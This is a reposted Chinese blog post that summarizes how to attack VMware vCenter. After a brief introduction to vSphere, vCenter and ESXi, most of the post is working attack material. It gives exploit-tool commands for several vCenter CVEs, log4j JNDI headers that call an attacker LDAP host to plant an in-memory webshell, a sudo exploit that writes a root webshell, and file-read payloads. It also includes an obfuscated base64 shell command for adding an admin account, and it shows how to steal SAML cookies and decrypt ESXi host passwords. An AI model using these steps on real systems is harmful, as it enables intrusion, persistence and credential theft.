vcenter综合利用总结

发布时间:2024年01月13日

1.Sphere、vCenter、ESXi简介

image.png
ESXi:安装在实体服务器上,其实是个linux内核的操作系统,官方的说法是有自己专利的一个内核,不属于以往任何现有的产品。只有安装了ESXi以后你才能在上面创建虚拟机。你可以理解成在你的台式机上装的vmware workstation,只不过ESXi不用运行在操作系统上(因为本身就是操作系统)而为虚拟机直接调用硬件资源。
vCenter:就是个管理软件,用来管理虚拟机和实体机,比如通过vCenter监控虚拟运行情况、创建虚拟机、调整虚拟机资源、迁移虚拟机等等。
vSphere:是vmware一套产品的总称,其中vSphere包含了vCenter和ESXi当然还包含了其他的组件,就类似于微软的OFFICE里有word、excel等。
最近对 VMware 虚拟化解决方案有很多的疑惑。毫无疑问,VMware是虚拟化解决方案的老大。但是第一次接触 Vmware 虚拟化平台的人面对 VMware vSphere 和他的组件经常感觉到疑惑。所以今天我将解释下 vSphere 和他的组件。能弄清楚 vSphere,EXSi 和 vCenter 的区别是很重要的。为了更深入了解和体验 vSphere, 你还可以在 VMware Workstation 中安装 vSphere。

2.漏洞利用

2.1.CVE-2021-21972

2.1.1.直接上传冰蝎 webshell

https://github.com/NS-Sp4ce/CVE-2021-21972
python3 CVE-2021-21972.py -url https://xxxx
自动遍历目录上传。
image.png

2.1.2.VcenterKiller自动化

https://github.com/Schira4396/VcenterKiller

go build -o main.exe

./main.exe -u https://192.168.1.1 -m 21985 -c whoami
./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh //传公钥
./main.exe -u https://192.168.1.1 -m 21985 -t rshell -r rmi://xx.xx.xx.xx:1099/xx
./main.exe -u https://192.168.1.1 -m log4center -t scan // scan log4j
./main.exe -u https://192.168.1.1 -m log4center -t exec -r ldap://xx.xx.xx.xx:1389 -c whoami //也可以不指定ldap服务
./main.exe -u https://xx.xx.com -m 22954 whoami
./main.exe -u https://xx.xx.com -m 22972 //get cookie
./main.exe -u https://xx.xx.com -m 31656 //If CVE-2022-22972不能用就换CVE-2022-31656

2.1.3.写入 ssh 公钥

工具地址:https://github.com/horizon3ai/CVE-2021-21972
坑点:看到密码过期时间为 90 天,因此在安装 90 天后即使写入了公钥登录也会提示密码过期,需要提供原密码并修改密码。此外,
vsphere-ui 用户的第二项为 !,这表示该用户未设置密码(与空密码不同),所以也就没法修改密码,因此,当密钥过期后,就无法再次登录。
漏洞接口存在。
https://xxxx/ui/vropspluginui/rest/services/uploadova
image.png
image.png
python3 CVE-2021-21972.py -t 1.1.1.1 -f authorized_keys -p /home/vsphere-ui/.ssh/authorized_keys/ -o unix
image.png
外网如果开启ssh,可直接连接。
image.png
或者使用xshell工具连接,实测windows dos连不上。

2.1.4.提权

2.1.4.1.CVE-2021-3156(需要vsphere-ui交互式shell)- 推荐

https://github.com/worawit/CVE-2021-3156
vCenter的linux版可以直接用sudo提权(测了7u1和7u3j),直接用网上的python脚本,c写的要编译,更麻烦。
重点讲讲两个脚本
exploit_defaults_mailer.py
需要在交互的情景使用,使用后会在/tmp/目录下生成一个二进制文件,执行文件即可获得一个root的shell
exploit_userspec.py(推荐)
往指定地点写入文件内容,这个脚本会往/etc/passwd目录下写入一个gg用户,其实就是一个任意文件写入的利用。
我们可以通过更改写入的路径和写入的内容,写一个root权限的webshell到vCenter服务器
改动PASSWD_PATH=b’/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/1.jsp’
APPEND_CONTENT=b’webshell内容’
即可在https://172.16.xx.xx/idm/…;/1.jsp (这里是用到了一个tomcat越权的tips,可以参考CVE-2021-22005的利用)得到一个root权限的webshell。
修改exploit_userspec.py
image.png
执行,python exploit_userspec.py,会执行一段时间。
image.png
访问 webshell。
https://10.0xxx/idm/…;/1.jsp
image.png

2.1.4.2.CVE-2021-22015 - vCenter 提权漏洞

CVE-2021-22015 - vCenter 提权漏洞
分析 vCenter 中以 root 权限运行的进程,发现如下在同一个文件夹下运行的 java 进程均链接到同一个文件:
image.png
查看 /usr/lib/vmware-vmon/java-wrapper-vmon 修改权限:
image.png
cis 用户组可以修改该文件。在 /etc/group 下查看 cis 用户组中的相关用户:
image.png
发现 vsphere-ui 用户在其中,说明该用户可以修改 java-wrapper-vmon 文件。配合第二节的文件上传漏洞,在 vsphere-ui webshell 的权限下,将后门代码添加到 java-wrapper-vmon 中,并重启服务(service-control --start --all),可以以 root 权限运行后门代码,达到提权的目的。

2.2.CVE-2021-22005

2.2.1.判断漏洞是否存在

curl -k -v “https://xxxxxxx/analytics/telemetry/ph/api/level?_c=test”
如果服务器以 200/OK 和响应正文中除“OFF”以外的任何内容(例如“FULL”)进行响应,则它很容易受到攻击。 如果它以 200/OK 和“OFF”的正文内容响应,则它很可能不易受到攻击,并且也未修补且未应用任何变通方法。 如果它以 400/Bad Request 响应,则对其进行修补。此检查利用以下事实:修补的实例将根据已知/接受的收集器 ID 列表检查收集器 ID (_c)。 如果它以 404 响应,则它要么不适用,要么已应用解决方法。该解决方法会禁用受影响的 API 端点。 任何其他状态代码可能暗示不适用。

2.2.2.影响范围

  • vCenter Server 7.0 < 7.0 U2c build-18356314 * vCenter Server 6.7 < 6.7 U3o build-18485166 * Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3) * Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2) 6.7 vCenters Windows版本不受影响

2.2.3.漏洞利用

https://github.com/shmilylty/cve-2021-22005-exp
获取vcenter webshell,为root权限。
image.png
image.png

2.3.vcenter log4j2漏洞

可以直接写入内存马,且vcenter默认是tomcat,可以尝试利用tomcatbypass模块绕过jndi高版本限制写入内存马

GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 172.1xxx
User-Agent: curl/7
Accept: */*
X-Forwarded-For: ${jndi:ldap://172.xx:1389/TomcatBypass/TomcatMemshell1}

GET /websso/SAML2/SSO/vsphere.local?SAMLRequest=zVRdb9owFH3fr4j8nthxWqBWoWJl1Sq1K2vYNO1lMuZSLCV25usk9N%2FPCbCxalR93Kt17rnn48qXV9uyiBpwqK0ZkzRhJAKj7EqbpzH5sriJR%2BRq8u4SZVlUYlr7jXmEnzWgj6aI4HwYu7YG6xJcDq7RCm7NCrZjEohmAaaN9D31xvsKBaXpBU%2FSwShJh4MkzYa0hSWipfn0%2Fo7TPH%2BgDVYbcJAUVsmCRDfWKegXj8laFggkup2NyY8hV2kKPD1XbL0csWUGapRmGbDh6FwqzgMM5xJRN%2FBnELEO%2BtBL48eEM85jNogztmBDwS8E40l2PvhOormz3ipbvNdmF0TtjLASNQojS0DhlegEC54wsdyBUHxcLObx%2FCFf9ASNXoH7FNAh1b8ti7OzjERfD5nzLvPQgkHRp%2Fz6tmovjUz2nfSe3NsJ5KE2MjlVSa1pR3SopgQvV9LLS3q8cbefV6LzeDub20Kr52haFLa9diB98O1dDX2BpfSvi%2Bpe9Cpe91BRddGgB%2BNJlM87%2Fs%2B1LPRagzt9RydEH0fL35ot3ZsT4bRXugsLj2neHPBLlj1JE0Z2RoKPpmxluHZlS4pqA6VEKr13cU9MOUs5ZWf0wzbE0d0LHgxtUf%2FmaNs2abPEuqcwwFL67f4u77li3R%2B7CjUEvPDPVailWy8ewUArlwUswts%2FDP9HUmdQwNOxVPqynMnhNI8%2FqMkv&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=tD7HfxVt48GiTR%2Fo%2F8CwWbwyDn44dRDKKmyPpRNvIAQiTGh8Y42JqvASik3svry%2BIBkvzXoeFmHnOLUPMRlqVr3Tf51ZYxA1izt41eUZ31GGWhBXR8POnd5f%2F3zQFRuF3p2VLZebFZt%2FpScbHsxpAub%2BuJipbIquaqpIYw0VR6yWr9ANeHpkhG8h9x6PAHX4GuiK95Lf%2FqXhrNMWfkA47x5cVeOPzFvHadA%2FKmsOI6%2BrAEvX7Pxes6rvJQH1f%2FE6mT3jK3pZlfKqbacciOE%2Bc1QrPrkrdNGQUZbYMnuUDpNl%2BwMD7C%2BZi8nCB0wEWbnBv5GtkhU9ToqSumApKglzeg%3D%3D HTTP/1.1
Host: 192.xx
Connection: close
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="102", "Google Chrome";v="102"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.xx/ui/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: xxx
X-Forwarded-For: ${jndi:ldap://xxx56:1389/TomcatBypass/TomcatEcho}
cmd: whoami


image.png

2.4.Vcenter 任意文件读取漏洞

产品页面如下:
image.png
漏洞 POC:

http://191.xxx/eam/vib?id=/etc/passwd

image.png
查看数据库配置文件密码。

http://xxx/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

image.png

3.后渗透

3.1.获取vcenter后台权限。

3.1.1.通过webshell直接用命令加用户(强烈推荐)。

bash -c {echo,cHl0aG9uIC1jICdpbXBvcnQgYmFzZTY0O2ltcG9ydCB6bGliO2V4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoImVGN1ZWVjF2MmpBVWZjK3ZzUExpc0lYUUQrMEZxVklaVkcyMUZhRzJlNWdBVlU3c2dMdkVqbXhUMmxYODkxMG5UZ2hRcEw2T0I3Q1ByKys1SDhjWG5oZFNHU1MxNTYwMFU0TGtERjBndkRnNUpUVG40aHYyQ3FMMVdpcHE0V3NIbjU2ZFgxNWl6Nk1zUmZjck1aUjVUZ1FOa3B4MitoNkNqd0pycWFOQ0ZreVVjSWthOW1yZ1FFV0tFUnBVbUlxU1RHcFc3NWhaS1ZFYVZ0NnZtZms1R2t5R1VxUjhFVGp2aGVMQ0JQNzB5eHc5cWpka0pGb3dnOHlTb2FTMFF6SkY5cFpmTzlXcnpCSzNRdlY3c2pDOWpQOWhhNjVaTCthaWw2MFZXK2dseXpLVWNXMmVYa2kyWWhyaDZjMlBxOTlQanplM0QwOTNnK0hON2ZocU5vTlN2ZkNFNmRuc0phZGN6VEZRbFZ4Y1VQWjZhcE1zU2FPVVd6S2FESkpFcm9SeEVUWDd4bkJhWGV6UEkxMWszQVI0Sm5CbmV0SnNmZGlkelZzY1owYzVSdU45bHRGNGorZnM4enpuUjNrbVRoajdiSk90WU5xYzU1L2lkQUpvbklXdEpNSURpa29qaE5JZ296d05vZjFsZDUxTVVtbFZhQlhvZzBsa1Rmd1ErV3NYY0NxanRlS0dsWGNicUszR3RyU2Q1Nk9DMmpHb0JGcVpWUWc4QnNWeStjSUNYTWVDUVRLZnpCT285aDZDRjJzQXAzT1B5cHh3VWExVHFWQU1iV3Qzdmk1eWlGMVZlSXJpU0J1aWpGNXpzN1FOdmZEZG1mM0VPaUlGRkkwR2NhY0JLNWJtWUFyTmhPaGpvc3RwRWVMb1dYSVJ4THBUVHBFSnBKL3dnbVRqYXB3MGsrVXJ3cGZZZmtmdVJ1WFhGc0ttZ0JOeFlZL2I5aUZnZHE5RGUySVpQVzh3R3YxNnVMcTNOekNtb28vZXFkZ2NNZ04rZ0cwOFBiaHp4V25aaVBJb0VUdGJHVCt6eEF3emFFSWZoa3l4Q3hRUWt4UzdtRlFMSXZoZllyZ1VKSnQ4WUdHOVY1RzYxZ0pqUFdFM0hxVFRTczZ0SW1oclRreFFsb2lLRUIwcjhRNFdicXU0YlVDSVd0TzhYblk4cDEzQS9JeVNBZ1NLdXErb3U0UzYxa0xhb080SXpmejNsckkyTXg5MTF6dGduVlI1VkQ3TTZ0VTFLYlRtM2xiNmU0T3EvUkkrbkNvSFdNZXpJOENWYXpzRlNxRU1SbmUzNDYxU1FFMEQrdzhHQTE0UkkwRldnSHhmOGN4d0ViNWJlWUVNbGtUQUg4cGJBZXJJSmNUL1p2M0RtdVV4ZEsvNmNhSnpIYXRaNm1XZHNIc2g5Z2R5cVJwNFVPK0s0ejh0ZVpsdXErYi9BR3k0dEt3PSIpKSknCg==}|{base64,-d}|{bash,-i} 

账户/密码:g01admin5@vsphere.local / G01admin123@@

image.png

3.1.2.获取vcenter Cookie。

https://github.com/horizon3ai/vcenter_saml_login.git
首先需要获取 data.mdb

Linux: /storage/db/vmware-vmdir/data.mdb 
Windows: C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
py -3 vcenter_saml_login.py -p data.mdb -t 192.168.176.137

替换cookie,访问http://vcenter/ui。
image.png
获取Esxi权限。
获取数据库密码,然后通过以下命令获取 ESXi 数据库中加密的密码,将加密后的字符串放入文本中。
cat /etc/vmware-vpx/vcdb.properties PGPASSWORD=“8r*V^%#94sFX)h+(” psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -w -c “select ip_address,user_name,password from vpx_host;”
image.png
拖走password.enc(只包含密码字段,一行一个。)和symkey.dat文件。
Windows:C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat Linux:/etc/vmware-vpx/ssl/symkey.dat
通过下面的脚本解密 https://github.com/shmilylty/vhost_password_decrypt.git
image.png
账号:vpxuser
密码:y1RbZC{7@I]xx]]B5b\c
成功获取Esxi权限。
image.png
通过vpxuser也可可登录Esxi ssh。
image.png

文章来源:https://blog.csdn.net/lhh134/article/details/135544746
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。